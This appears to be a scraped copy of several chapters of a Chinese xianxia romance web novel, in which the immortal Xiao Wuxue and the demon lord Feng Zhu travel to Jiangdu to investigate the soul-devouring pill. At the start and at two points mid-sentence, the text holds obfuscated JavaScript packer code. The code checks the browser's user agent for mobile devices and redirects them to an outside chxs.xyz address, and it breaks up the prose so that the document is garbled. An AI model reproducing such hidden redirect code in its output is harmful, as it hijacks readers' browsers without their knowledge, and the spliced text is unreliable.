l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775857|157898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他感激涕零,发誓绝不做任何多余的事,我离开时,他还热情地认我做了义兄。” 萧无雪:“……” 萧无雪问:“你哪儿来的蛊毒?” 封烛从怀里摸出一把饴糖:“吃吗?” 萧无雪:“…………” 萧无雪原本以为,历经百年,又在生死边缘走了一遭,封烛这性子总该有些改变。 变化是有的,不过是比以前更为乖张荒唐。 他按了按眉心,被气得有点想笑,又问:“那你还在这里做什么?” “我还能去哪儿?” 封烛往萧无雪身旁一坐,理直气壮:“我一共就订了两间房,你总不能让我去与褚公子睡吧,那不得把他吓死。” 封烛原本是打算把褚元丰直接捆在那树林里的,还是萧无雪执意要求他将人带回来。 倒不是他心软,只是这褚家二少爷从小养尊处优,这寒冬腊月的天气,要真在林子里绑个一天一夜,恐怕要出人命。 萧无雪起身欲走,却被封烛一把抓住手腕:“去哪儿啊,阿霁?” “你在此间休息,我去另寻住处。”萧无雪道。 封烛:“那可不行,你我道侣一场,我怎么舍得让你露宿街头。” 萧无雪:“那就你走。” “不走。”封烛含笑望向对方双眼,戏谑道,“阿霁,你不会是害羞了吧?” 萧无雪:“……” “这有什么好害羞的,你难道不记得,我们以前也曾同床共枕啊。”封烛张口就来,“你以前可粘我了,夜里总爱往我怀里钻,没我抱着根本睡不着……” 话音未落,萧无雪便一掌劈了下来。 这一掌几乎是从二人见面憋到了现在,如今真动了手,萧无雪竟觉得心中畅快不少。 奈何封烛身为北域魔尊,身手并不在萧无雪之下。他抬手一挡,轻巧化去朝自己迎面袭来的一掌,攥着萧无雪手腕的另一只手也没松开。 萧无雪挣脱不开,单手飞快与对方过了几招,掌风掀起宽大的衣袖,露出他左手腕间的乌黑佛珠。 萧无雪与封烛,几乎是代表着修真界与魔族最顶尖实力的两人,如今却好似民间斗殴一般,不用半分内力,只以拳脚相接。 当然,就算不用内力,两人打斗的破坏力也非同小可。 桌椅劈碎,红绸散落,屋内转眼陷入一片狼藉。片刻后,萧无雪略占上风,擒住封烛双手反拧身后。 封烛身体被迫后仰,微凉的气息覆在他耳畔,萧无雪轻声问:“还打吗?” “阿霁,你好凶啊。”封烛受制于人,却反倒有些愉悦,尾音都在微微上扬,“我可是念在你伤势未愈,才不与你动真格。真动起手来,那不成了我欺负你?” “哦?”封烛若能回头,会发现萧无雪的神情也是极其放松的,唯有嘴角勾起一丝嘲弄的微笑,“是吗?” 封烛瞬间听出了他话中的危险意味,但已经迟了。 萧无雪无声念诵一段咒诀,腕间的黑檀佛珠上骤然显出一个金色的“卍”字,封烛只觉一股巨大的吸力自身后袭来,耀眼的金光霎时遮蔽视线。 金光散去,屋内已不见封烛的身影。 萧无雪理了理衣衫,随手给屋内施了个修补法术。一片狼藉的屋内渐渐恢复原样,萧无雪在原地站了一会儿,弯腰拾起打斗时掉落一旁的酒壶,嫌弃地用衣袖擦了擦壶口,重新给自己倒了杯酒。 先试探地抿了一口,顿了半晌,才神色复杂地小声道:“品味倒是一如既往地不错……” 8. 第 8 章 封烛睁开眼。 黑暗中,一道道烛光亮起,照亮了他周遭的景象。 这似乎是一座佛塔底部,佛塔中部见空,高高的书架堆满了各类经卷,案几上,香炉袅袅溢出青烟。封烛仰头看去,桌后的墙面上绘制着一幅巨大的壁画。 一尊大佛无悲无喜,垂眸凝望着他。 金碧辉煌,庄严肃穆。 封烛与大佛对视片刻,扭头高声呼唤起来:“阿霁?阿霁,你还在吗?” “你所在之处,是佛珠内的芥子空间,名为问心塔。” 片刻后,一道虚影在封烛身后显形,是萧无雪:“问心塔有十余位佛门大师加持,从内部无法打破,除非我施法放你出来,否则绝不可能脱身。” “当真?”封烛眉梢一挑,“多大的力量都打不破?” 萧无雪:“你可试试。” 封烛沉吟片刻,摇摇头:“还是算了吧,万一给你打坏了,你又要生气。” 他礼貌提问:“那么敢问仙尊,要如何才肯放在下出去?” 萧无雪短暂沉默一下,问:“你究竟为何离开魔窟?” 封烛果断回答:“听说你重伤失忆,又独自离开汴京,担心你的安危。” 萧无雪:“说实话。” “这就是实话。”封烛道,“你既然不肯信我,又为何要问。” 他摇头叹息:“真是太伤我的心了……” “问心塔需坦诚面对本心,说了实话,门自然会开。” 像是要印证他的话,前方朱红的木门上骤然浮现出三道金锁,金色的锁链紧紧缠绕着门扉,纹丝不动。 萧无雪淡淡道:“封烛,你在撒谎。” “……” 封烛没有回答。 塔内顿时陷入死一般的寂静,大佛无悲无喜的目光仿佛也带上了谴责,居高临下望来,带来无形的压迫感。 半晌,封烛耸耸肩,不以为意道:“哎呀,被发现了。” 这个答案,其实并不令萧无雪感到意外。 相识百年,他了解封烛是个什么样的人。此人心思深沉,虽总爱表现出一副随和的模样,可那不过是他掩盖自己的方式。他戴着假面在世间行走,永远对人充满防备,谁也不能窥见他半分真心。 他本就没指望这么轻易套出对方的真心话。 至于那句为他而来,也不过是个彼此心知肚明,再拙劣不过的谎话罢了。 没什么可在意的。 萧无雪静默片刻,换了个问题:“噬魂丹之事,当真与你毫无关系?” 封烛不假思索:“是。” 朱红大门上,一道金锁悄无声息散去。 萧无雪面不改色,继续问道:“你此行目的,对修真界可有危害?” 封烛稍有迟疑,摇摇头:“没有。” 第二道金锁无声散去。 萧无雪望向那朱红大门上的最后一道金锁,没有继续问下去,而是道:“今晚你便留在这里,明日一早,我会放你出去。” 他说完这话就想离开,封烛连忙大步上前,伸手拉他:“哎!” 指尖却从他的身体穿了过去。 “为何不继续问,你早就想好今晚要把我困在这里了吧?”封烛挡在萧无雪面前,恼道,“你根本没打算放我出去!” “是啊。”萧无雪坦荡承认,“你不是无处可去吗,这里避风避雨,还无人吵闹,难道不是一个好去处?” 封烛轻轻磨了下牙。 他凝视着眼前半透明的虚影,神情几度变化,终是咬着牙,慢慢微笑起来:“阿霁,多好的机会呀,你真的没有别的问题想问我了吗?” “这次被你关进这破地方是我一时不察,下回,可就没那么容易了。” 他上前半步,抬手悬停在萧无雪颊边,温和地注视着他:“好阿霁,我保证这次绝不说谎,你有什么想问的吗?” 封烛天生一双多情眼,当他微笑注视着什么的时候,很容易给人一种深情款款的错觉。 但,那也不过是错觉罢了。 与他那些胡言乱语一样,是个拙劣至极,一眼就能看穿的伪装。 萧无雪垂眼避开封烛的视线,低声道:“我没有什么想问你的。” 封烛眉头一蹙,张口正欲说什么,面前的虚影却飞快黯淡下去。 转眼,问心塔内只剩下封烛一人。 他慢慢垂下眼,周身沐浴在大佛无悲无喜的目光下,跳动的烛光衬得五官轮廓分明,有些阴沉。 . 翌日天刚亮,萧无雪如约将封烛从问心塔内放了出来。 封烛此生恐怕都没有这般被人囚禁于法器内还束手无策的经历,被放出来时,竟还闹起了别扭:“放我出来干嘛,有本事就关我一辈子,自己去江都查去,看你能查出个什么东西!” 萧无雪坐在妆镜前束发,头也不回,仿佛没听见。 “喂,我与你说话呢!”封烛大步上前,后者恰在此时转过头来。 封烛猝不及防对上一张陌生的面孔,话音一滞,半晌才目瞪口呆地吐出一句:“……操。” 萧无雪还是昨日那身江湖人打扮,月白色的布衣极为素雅,乌黑的长发以玉簪半束,一半披散下来,如瀑般垂在身后。 唯有那张脸,已与昨日截然不同。 萧无雪给自己换了一张脸,吊梢眼厚嘴唇的男人丑得出奇,与清丽出尘的背影产生了极大的反差。 封烛甚至无法用语言表述这一幕带给他的冲击,偏偏萧无雪似乎毫无察觉。他正将玉簪往头上插,偏头瞥了封烛一眼,问:“怎么了?” “你别说话!”封烛捂住眼睛,满脸不忍直视,“不许用阿霁的声音和我说话!” 萧无雪从善如流,给自己换了一副娘里娘气的尖嗓:“现在可以了?” 封烛:“……” 封烛看上去很想当场惊呼见鬼,再夺门而出。但他生生忍住了,气急败坏问:“你大清早在作什么妖?!” 萧无雪似乎也不满意这嗓音,清了清嗓子,又换做了一副嘶哑低沉的烟嗓:“江南一带仙门世家众多,免不了要打交道,自然要易容换貌。” 封烛:“…………” 封烛的表情与活吃了几百只苍蝇没两样,萧无雪皱眉看他,又换了副低哑浑厚的嗓音:“你对我的易容术究竟有什么意见?” “你还有脸问我!”封烛气得跳脚,“你师门就是这么教你易容术的?你师尊当年居然没有被你活活气死?!” 萧无雪陷入沉思。 易容术在仙术中算是高阶法术,但对于萧无雪而言,其实不算太难。他早在元婴期便能自如改变容颜,甚至能让怀鹤仙君都瞧不出破绽。 唯一的问题是,易容后的样貌需要自行捏造。 萧无雪自小练剑修行,从未学习过任何绘画技巧,捏出来的脸,自然好看不到哪儿去。 但他本不在意样貌美丑,并没有把这件事看得有多重要。 不过记忆中,师尊在教完他易容术之后,的确曾语重心长告诉他,让他日后若遇上需要掩人耳目之事,尽量选择以面具遮掩面容,别自己捏脸。 当然,这话是不能说的。 他还在假装失忆。 萧无雪面无表情与封烛对视,后者捂嘴转头,虚弱道:“你别看我,求你,我要吐了。” 封烛绝不会允许萧无雪顶着这张脸走出房门,他几乎是半强迫地把人按在妆镜前,亲自上手,仔仔细细给他重新捏脸。 堂堂北域魔尊,看似不拘小节,手艺却意外不错。 他用指腹轻轻抚过萧无雪的眉宇、脸颊、嘴角,每碰到一处,那处便随之轻微变化。待松开手时,眼前的人已换做了另一副温润俊俏的面容。 但封烛仍不满意。 他捏着萧无雪的下巴,挑剔地将他五官调来调去,嘴里还在嘀嘀咕咕:“不行,还是差远了……” “捏都捏不出,究竟是怎么长的……” 萧无雪如一尊漂亮的人偶娃娃任他摆弄,直到封烛将手探向他的发丝,琢磨着要不要给他换个发型。 他陡然抓住对方手腕:“别动我头发。” 封烛眉梢一挑:“怎么,跟民间小孩似的,怕摸了脑袋长不高?” 他坏笑着,飞快在他脑袋上薅了一把:“我就摸!” “你——”萧无雪甩开他的手,“幼稚!” “幼稚又如何,本座在魔族里本就还年轻。”封烛得意地扬了扬下巴,上下打量他一眼,“行了,出发吧,仙尊。” . 根据褚家传信,褚家的仙舟会在辰时左右到达极乐城。 二人带上褚元丰,一道往城门去。 褚二公子不愧是为了出口恶气便服用噬魂丹的狠人,被封烛设了禁制困在客房,竟还颇为心大地为自己讨了个清秀漂亮的美少年作陪。二人在客房腻歪了一天一夜,临出发前,他还对那少年依依不舍,想将人一起带回江都。 封烛竟也不反对:“褚公子风流倜傥,这少年跟了你,日后必定有享不完的福分。” 褚元丰被他说得飘飘然,二话不说高价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775858|157898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给少年赎了身,心满意足牵着出了客栈。 清晨的街头冷冷清清,萧无雪望向前方那如胶似漆的两人,传音问封烛:“你到底想做什么?” “仙尊何出此言?”封烛语气无辜,“人是褚公子要的,与我有何干系?” 萧无雪冷道:“你真当我看不出那少年是什么人?” 凌云仙尊被称作中原正道第一人,自然不会是浪得虚名。一切仙妖神魔,就算隐藏得再好,也逃不过他的法眼。 他一眼就能看出,那少年是个魔族。 仿佛心有所感,被褚元丰乖乖牵着的少年恰在此时扭过头。乖巧无害的目光触及萧无雪冰冷的视线,骤然一个激灵,心虚地将头转了回去。 褚元丰浑然不知发生了什么:“棠棠,怎么在发抖,是冷吗?” 离棠连忙摇头:“不冷,不冷。” 二人身后,封烛面不改色继续传音:“是你说我们此行绝不能打草惊蛇,我找个人盯着褚元丰,岂不正合你意?” 萧无雪:“你知道我想问的不是这个。” 正魔两道曾立下血契,在世人眼中,只要那血契一日存在,魔族便一日不会踏足中原半步。这本是用来维持两族和平,阻止战事再起的保障。 可如今,封烛不仅自己离开了魔窟,还将其他魔族也带了出来。 血契,实际已经形同无物。 这件事若被其他人知道,后果不堪设想。 他究竟是来做什么的? 又有多少魔族已经悄无声息来到了人间? 封烛一言不发,萧无雪伸手去拉他:“封烛,你知不知道仙盟为了两族不再开战做了多少努力?你不能——” “仙盟真的不想再对魔族开战吗?”封烛悠悠反问。 萧无雪神情一滞。 封烛停下脚步,低头看了眼抓着自己衣袖的手,微笑着问:“这百年间,究竟是仙盟在努力,还是你?” 萧无雪垂下眼,缓慢松开了手。 可他的手尚未落下,便被一双滚烫的手掌接住了。 萧无雪刚想挣扎,却听封烛轻声道:“放心,不会让你的心血白费的。” 他们不知不觉已走到了城门口,无人看管的城门大开着,任人来去,包容而自由。而自那城门往东约莫百步外,有一座巨大的废墟,历经百年风霜,依稀可见过去的模样。 那是百年前,萧无雪与封烛决斗时留下的遗迹。 许是为了纪念,又或是作为警示,极乐城在修建时有意避开了此处。无数残垣断壁静静伫立在茫茫大雪中,无声记录着当初那场令天地为之变色的决斗,以及那场决斗背后,无人知晓的沉重代价。 “阿霁,现在已经不是百年前了。” 百年前,封烛尚未继任魔尊之位,在魔族中也并无任何话语权。 许多事情,他干涉不了,更无法改变。 但现在,已经不同了。 封烛垂眸注视着他,话音近乎温和:“你真以为,这百年间只有你在努力?” 萧无雪一怔。 这话……是什么意思? 他一直都知道,封烛是不愿意两族再次开战的。 这很正常。 百年前那场大战令正魔两道皆损伤惨重,然而魔族无论是修行速度还是繁衍能力,都远远比不上凡人。同样百年的休养生息,修真界的发展日新月异,实力早已不可同日而语。 如今再打起来,局势会对魔族非常不利。 这才是封烛真正的想法才对。 并非出于什么维护世间安稳的大义,而是如同百年前的低头休战一样,是大势已去、别无选择的权宜之计。 可他为什么…… 萧无雪思绪一时烦乱,自己都不明白,对方简简单单一句话,为何能将他的心绪扰乱至此。 但封烛似乎并没有把这话放在心上。 在萧无雪朝他抬眼望去时,他已漫不经心般移开了视线,轻轻把玩起萧无雪的手指:“明明已经修成仙身,手怎么会这么凉……我真是不懂,短短百年,你到底是怎么把自己搞成了这副模样。” 他轻声叹息:“早知如此,当初我就该……” 传音断在了这里,萧无雪还沉浸在纷乱的思绪中,疑惑地偏了下头:“嗯?” 封烛抿唇一笑:“……就该在和谈时让他们加一条,要凌云仙尊以身侍魔,逼修真界把你送进魔域,做我的魔后。” 一句话,让萧无雪动摇的思绪瞬间清醒过来。 他沉下脸,用力抽出了手:“滚开!” 9. 第 9 章 萧无雪气得连传音都忘了用,这话几乎是呵斥出来的。 陡然响起的声音将前方两人吓了一跳,不约而同回过头来。 萧无雪面色不虞,抬步就往前走。 封烛倒是气定神闲:“没事没事,你嫂子与我闹别扭呢。” 萧无雪:“……” “噢噢……”褚元丰竟还接了话,“云大哥,这就是您的不对了,美人都是用来疼的,怎么能惹人家生气呢。” 封烛:“是是,褚公子说得对。” 萧无雪:“…………” 这、混、账! 世上怎么会有封烛这样不要脸的人,不仅胡乱编造他们的关系,就连化名也偏要用与他相同的姓氏。 萧无雪化名云霁,他便自称云烛,还对外强调他们其实并无血缘关系,不过是因二人同为孤儿,为方便行走江湖,才改名换姓,以兄弟身份相处。 而这些年二人相依为命,互生情愫,情投意合,于是又结为了道侣。 故事编得头头是道,萧无雪都不知道该从哪里开始反驳。 不过事已至此,他再想撇清关系也来不及了,只会无端惹出麻烦。 萧无雪闭了闭眼,全当没听见。 不多时,一艘仙舟破开清晨的薄雾,缓缓出现在众人面前。 是褚家的人到了。 昨日,褚元丰受封烛胁迫,向家中谎称自己在极乐城遇险,幸得两位恩人相救,有意请二人去江都做客。而堂堂江都褚家,对此竟也不曾怀疑,果真派了在北域附近探索灵脉的弟子连夜赶来,毕恭毕敬将萧无雪和封烛当做贵客请上了仙舟。 顺利得萧无雪都觉得有些不可思议。 可整件事的始作俑者似乎并未觉得有什么问题,登上仙舟没多久便与褚家弟子混熟了。众人聊得热火朝天,还一边饮茶,一边打起了时下民间最流行的叶子牌。 ——天知道这人困于北域魔窟百年,是如何将民间一切流行尽在掌握的。 萧无雪不擅长与人打交道,也不适应这热闹的氛围,随意找个理由离开了船舱。 仙舟穿行在云海间,被初升的阳光镀上一层金辉。 萧无雪站在甲板远眺,不多时,听见身后传来脚步声。 是褚元丰。 萧无雪没有回头,褚元丰在他身旁不远处站定,一时竟也没开口。 清醒过后的褚元丰已不像前夜初遇时那般混账轻浮,事实上,从今早见面开始,他在萧无雪面前便一直是这幅唯唯诺诺,大气也不敢出的模样。 多半是被封烛吓的。 他犹豫半天,低声唤道:“嫂——” 刚说了一个字,便被萧无雪投来冰冷一瞥。 褚元丰连忙改口:“……云公子。” 萧无雪:“说。” “我……”褚元丰嗫嚅一下,“我就是想说,前天的事是我不对,不该冒犯云公子。我不知道你与云大哥……不对不对,就算不知道也不该,总之是我错了,对不起,我以后再也不敢了!” 竟是特地来道歉的。 萧无雪本也没把先前的事放在心上,只淡淡点头:“知道了。” 褚元丰还是没走,又小声问:“云公子,你……你们是仙盟的人吗?” “不是。”萧无雪面不改色,“为何这么问?” “我就是有点好奇……”褚元丰小心翼翼,“如果不是仙盟,为何要查噬魂丹?” 萧无雪偏头看他一眼。 褚家弟子大多聚集在船舱内,甲板上眼下只有他们两人。 不过就算有人也不妨事,他的修为远高于这些普通世家弟子,只要他想,有许多方法能让谈话不被他人窥听。 萧无雪收回目光,平静问:“褚公子,在你看来,噬魂丹为何物?” 褚元丰:“就是提升修为的灵药吧……邪是邪了点,但还挺好用的。” “那东西以魔族尸骸炼药,服用后使人满身邪气,状似入魔。”萧无雪嘲弄一笑,“——只是‘邪了点’?” 褚元丰抿了抿唇,没敢接话。 对许多人来说,以魔族尸骸炼药,其实没有什么大不了的。 修真界弱肉强食,一切仙妖灵兽皆被视作资源,用异族精怪的灵丹尸骨炼药,并不是一件多么特别的事。 所谓魔族尸骸,也不过是另一种更为罕见的炼药资源罢了。 但那邪气,的确很古怪。 此前,褚元丰只知道褚家派人试过药,确定噬魂丹经由改良,已经不会再对身体造成危害。他将那东西偷出来,除了想借机赚钱之外,也是因为好奇此物的功效。 所以,在与萧无雪发生冲突之后,他才会迫不及待用了药。 可服药之后的感觉,却与他想象中不太一样。 当噬魂丹带来的巨大力量充斥体内,他一边觉得畅快享受,另一方面,又隐隐对那股力量感到畏惧。与其他提升修为的丹药不同,他清楚地知道,噬魂丹带来的力量并不属于他自己,似乎……也并不完全为他所控。 它更加强势,更加蛮横,轻易便能激起体内本能的欲望,让人失去理智,只剩破坏与掠夺。 那种感觉……褚元丰想起来其实是有些后怕的。 至少,如果能让他再选一次,他肯定不会再碰那东西。 褚元丰犹豫一下,又问:“所以,你们真的是为了修真界……” 萧无雪随意扯了个谎:“我有故人因噬魂丹丧命,不愿此物再为祸人间。” 褚元丰轻轻“啊”了声。 “怎么?”萧无雪淡声问,“与他说的不同?” 这话问得轻描淡写,不带任何攻击性,褚元丰第一时间甚至没反应过来。但他很快听出了对方话中的深意,下意识否认:“不不不,我不是——” 萧无雪回过头来,视线沉静无波。 褚元丰话音戛然而止,低下头:“……抱歉,我不是有意试探你们,但之前发生了那样的事,我……我不能真把危险往家里带。” 褚元丰受制于人,不敢将真相告诉家人,但也担心会因此将祸患引至家中。 所以才会偷偷前来试探。 担心引起误会,他又连忙解释:“但我现在知道了,你们没有骗我,我不会再胡乱怀疑了!” 萧无雪问:“你这就相信我没有骗你了?” 褚元丰挠挠头发:“因为……你与云大哥说的差不多呀。” 这倒让萧无雪有些诧异:“他也是这么与你说的?” “是啊。”褚元丰点点头,“云大哥说你们以前有个朋友,嗑药把自己嗑死了,不想让这糟心玩意再祸害别人。” 萧无雪:“……” 这理由其实是萧无雪随口瞎编的。 在这之前,他并没有与封烛通过气。 事实上,他并不在意褚元丰或是褚家对他信任与否。 萧无雪是中原正道第一人,修为达到他这地步,就算现在脱离了仙盟,实际也不会有什么他想做而做不到的事。他唯一顾忌的,除了不要打草惊蛇之外,就只有行事尽量不要太过火,引来仙盟的关注。 但那样也不过是有些麻烦,对事态并无太大影响。 哪需要费心撒谎取得对方信任。 不过,萧无雪倒是没有想到,封烛找的理由会与他不谋而合。 他还当那人会说,他就是这么古道热肠,乐于助人,不惜为了修真界的和平到处奔波呢。 萧无雪眉宇舒展来,唇角抿开一点自己都没意识到的弧度。 褚元丰看得一呆。 萧无雪用的这张脸,在出门前被封烛百般挑剔,到最后也只觉得差强人意。 可在外人看来,这已经是万里挑一的俊美容颜。 褚元丰耳根发烫,仓促移开了视线:“我我我——我回去就把事情告诉我爹和大哥,他们把丹药封在库房,一定也是发现了这东西不对劲,他们肯定会配合你们!” 萧无雪:“多谢。” 听见这句谢,褚元丰更是憋得满面通红。他支支吾吾好一会儿,像是还想再说什么,但最终一句话也没说出来,慌慌张张跑了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775859|157898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧无雪:“?” 他疑惑地偏了偏头,又略微抬眼,只见仙舟上层的走廊边,一道清丽的人影一闪而过,也慌慌张张跑了。 只留下一丝没藏好的魔息。 萧无雪:“……” . 与此同时,仙舟船舱内。 众人热热闹闹打着叶子牌,无人察觉到,一道道隐秘的传音不断在封烛脑中响起。 “褚元丰与凌云仙尊在甲板上说话,内容听不清……也许是凌云仙尊施了什么法术吧。” “没有靠近,他们隔了两步远,也没有对视!” “啊,褚元丰跑了……呜呜属下被发现了,属下也跑了……” 传音断在了这里,封烛唇角勾起一丝笑意,将手中叶子牌往桌上一摊:“哈,我又赢了!给钱给钱,别想赖账!” 船舱内顿时哀嚎遍野。 . 萧无雪又独自在甲板上待了一会儿,才返回船舱。 刚走到门口,便听见众人的闲聊声从门内传来。 “我与你们嫂子相识多年,彼此相依为命,感情自然没得说……” “……这还用问?当然是他主动的,他那么爱我。” “看不出来?那是你不了解他……阿霁可爱得很,以前还会趁我喝醉了偷偷吻我,当时可把我吓了一大跳。” 萧无雪:“……” 有完没完! 他到底还要编多少故事出来?! 萧无雪顿时心头火起,伸手就要推门,却又顿住。 不能冲动。 封烛这人生性恶劣,总爱将戏耍别人当做乐趣,从这几日相处就能看出,萧无雪在他面前表现得越恼怒,他反倒越得意忘形。 不能顺了他的意。 萧无雪无声舒了口气,敛下眼,嘴角却慢慢勾起。 他维持着这堪称和煦温柔的笑容,轻轻推开门,走了进去。 “别看阿霁平时那么冷淡,他可离不得我了,还很会撒娇。当初我们分离两地,他每天都给我写信——”封烛还在吹嘘他与萧无雪的“绝美爱情”,察觉对方走进来,下意识抬头。 却在看清对方脸上的笑容后,整个人陡然一怔。 萧无雪脸上的易容术是他所为,对外伪装的那张脸,在他眼中形同无物。 因此,他看见的实际上是萧无雪真实的容颜。 那张往日清冷疏离的脸上带着浅浅笑意,仿若冰雪消融,春风拂面。 封烛呆呆望着对方缓步而来,走到他身边,微笑着俯下身:“说我什么呢?” 那一瞬间,他甚至闻到了对方身上清清冷冷的暗香。 “你……你怎么……” 封烛头脑有些发晕,恍惚间听见身旁的人说话了:“哎哟云公子,你可回来了,云大哥把我们的月俸全赢走了,你快管管他!” 萧无雪眉梢一挑,果真看见封烛手边摆了好几个钱袋子,里头全是灵石和民间流通的银两。 几百岁的人了,欺负一群修真界小辈,也不嫌丢人。 “这要我怎么管?”萧无雪无奈般笑了笑,眸光流转,“要不,我帮你们赢回来?” “好耶!”“道侣对战,刺激!”“云公子加油,别让云大哥太猖狂!”“云大哥刚才攻势那么猛,可别对着嫂子就不行了啊!”…… 周遭氛围顿时热烈起来,萧无雪被人簇拥着在封烛对面坐下,扫了眼桌上那图案繁复的叶子牌。 叶子牌的规则,他是懂一些的。 与封烛同游人间那半年,他没少被这人骗去赌坊玩乐,也尝试过几局简单的博戏。 不过百年时间过去,这牌面的图案和规则都有变动,他多年不曾接触,自然会有生疏。 众人嘻嘻哈哈帮他们洗牌分牌,封烛勉强回了神,强撑理智:“你真要玩啊,一会儿输了可别怪我欺负你。” “那你别欺负我不就好了?” 萧无雪支着下巴,悠悠放软了声音:“我好久没玩过这个了,你就让让我吧……兄长。” 封烛:“!!!” 10. 第 10 章 萧无雪那声“兄长”堪称绝杀。 此后的一个时辰里,封烛持续魂不守舍,被萧无雪杀得片甲不留。 从褚家弟子手里赚来的灵石银两,自然也全被赢了回去。 “——你太过分了!”直到仙舟抵达江都,众人收了牌局,封烛才醒过神来。 凌云仙尊戏弄完人就不认,淡淡反问:“我哪里过分?” 他冷笑:“你恶心了我这么多回,我恶心你一回就受不了了?” 封烛:“……” 封烛望向他的眼神顿时变得十分微妙,但萧无雪并未在意,继续道:“我可以不管你此行的目的是什么,少玩你那无聊的道侣游戏,你我相安无事,对你自己也有好处。” 封烛:“…………” 萧无雪睨他一眼:“怎么,我说得不对?” 封烛神情扭曲,像是恼怒,又被他气得有点想笑:“阿霁,你若是百年前说出这话,或许还有几分余地。可事到如今,你再来与我说什么相安无事……不觉得太晚了吗?” 他依旧带着那漫不经心的笑意,萧无雪却从中听出了几分微妙的怨气。 那也是自然的。 封烛将真实情绪隐藏得再好,也掩盖不了他们之间横着血海深仇。百年前的封烛何其高傲,他年纪轻轻修为便已登峰造极,本该是魔族这千百年来最有望飞升登天之人。 是萧无雪一剑毁去他的灵根,也断送了这一切。 萧无雪无声地舒了口气,了然般点点头:“所以,你还是想找我报仇。” “……” 临近下船,仙舟弟子皆各自休整忙碌,只剩萧无雪和封烛仍留在船舱内。 一道术法悄无声息落在二人身侧,隔绝了一切声响。 萧无雪平静道:“过往恩怨我已经不记得了,也不打算深究,但我做过的事,我会一己承担。等此间事了,你想怎么报仇,我都奉陪到底。” 封烛没有回答。 他定定与萧无雪对视,过了许久,才轻声重复:“——奉陪到底?” 萧无雪微蹙眉,察觉到了对方的话语中的危险意味。可没等他再说什么,封烛忽然闪身上前,一手按住他的座椅靠背,将他困在了方寸之间。 一丝魔息不受控制般溢出,萧无雪疼得呼吸一滞。 封烛弯下腰来,透过易容术看向那张漂亮却冰冷的容颜:“我想对你做的事,你真敢奉陪到底吗?” 萧无雪完全不理解他忽然在犯什么病,忍着不适伸手想推开他。 却没推得动。 男人嘴角带笑,但神情已经彻底沉下来,英俊的眉宇也仿佛蒙上了一层阴霾:“有时候我真是怀疑,你到底是真的失忆了,还是装的。” “当然是真——”萧无雪刚要回答,周遭的魔息却骤然变得浓烈。 浑身经脉顿时陷入那仿若酷刑的折磨中,萧无雪手背青筋暴起,咬牙喝道:“封烛,你发什么疯!” 这仙舟尽是仙门弟子,万一被人发觉他魔族的身份—— “啊——抱歉。”封烛如梦初醒,魔息瞬间散得干干净净。 他垂眸注视着萧无雪,话音温和,听不出半分歉疚:“我没控制住,不是有意的。” 萧无雪剧烈喘息,一滴冷汗划过侧脸,被封烛亲昵拭去。 “真可怜……”他轻声呢喃,“你总是这样,露出一副惹人心疼的模样,害我都舍不得欺负你。” 萧无雪用力拍开对方的手,右手掌心凝起一道无形剑气,反手横在封烛咽喉:“……你是不是真以为我拿你没有办法?” 他呼吸仍是颤抖的,执剑的手却稳得出奇,凌冽的剑气瞬间在封烛脖颈间留下一道血痕。 封烛一动不动与他对视,靠近心口的旧伤在熟悉的剑气与杀意下隐隐作痛,魔息感受到了威胁,在体内横冲直撞。 “……不,我当然不会那么想。”许久,封烛轻声开口。 他缓慢直起身来,往后退了半步,咽喉离开剑锋后瞬间涌出丝丝鲜血,染红了衣衫。 魔族生性嗜血,杀意和血气皆能挑动他们的暴虐本能。 但封烛似乎未受影响。 他就这么眼也不转地注视着萧无雪,轻轻道:“你看,你总是能轻易伤到我。” 萧无雪眸光颤动,凝于掌心的剑气缓缓散去。 剑拔弩张的气氛随着剑气消散缓和下来,封烛重新微笑起来:“好了,我没想惹你生气,真是没控制住。你知道的,魔息这玩意,不是我想控制就能控制的。” “……谁让你总不肯与我说实话。” 萧无雪别开视线,面若寒霜:“我失去了记忆,什么也不记得,这就是实话。” “好吧好吧,那就当这是实话。” 封烛妥协一般,语气也跟着放松下来,周身那可怖的气质仿佛从未存在过。他长长叹了口气,仿佛自己说服了自己:“既然如此,之前的事我就不计较了。” “你失忆了,一时不肯接受我也很正常,多与你亲近亲近,你自然就能接受了。” “……” 萧无雪已经不知道该用什么表情面对他,喃喃道:“……你真是病得不轻。” “是啊,我也觉得我病得不轻。”封烛意味不明地叹息一句,忽然弯下腰来,将萧无雪打横抱起。 萧无雪浑身紧绷:“你做什么?” 封烛:“你不是还难受吗,我抱你走。” 萧无雪:“不要,放手!” “嘘,不许逞强,就当给你赔罪了。”封烛道,“现在所有人都知道我们是道侣,被道侣抱一抱不丢人,听话。” “你——!” 封烛语调温和,双臂却如铁钳一般纹丝不动,萧无雪挣扎无果,封烛趁机抱着他大步往外走。 眼见就要走出船舱,萧无雪忙喊住他:“等等,你真想这么出去?” “嗯?”封烛低下头来,才感觉到脖颈间传来刺痛。 他方才被剑气划破的伤势尚未痊愈,甚至还在往外渗血。 “啊,险些忘了。”封烛道,“那就劳驾仙尊,帮在下处理一下?” 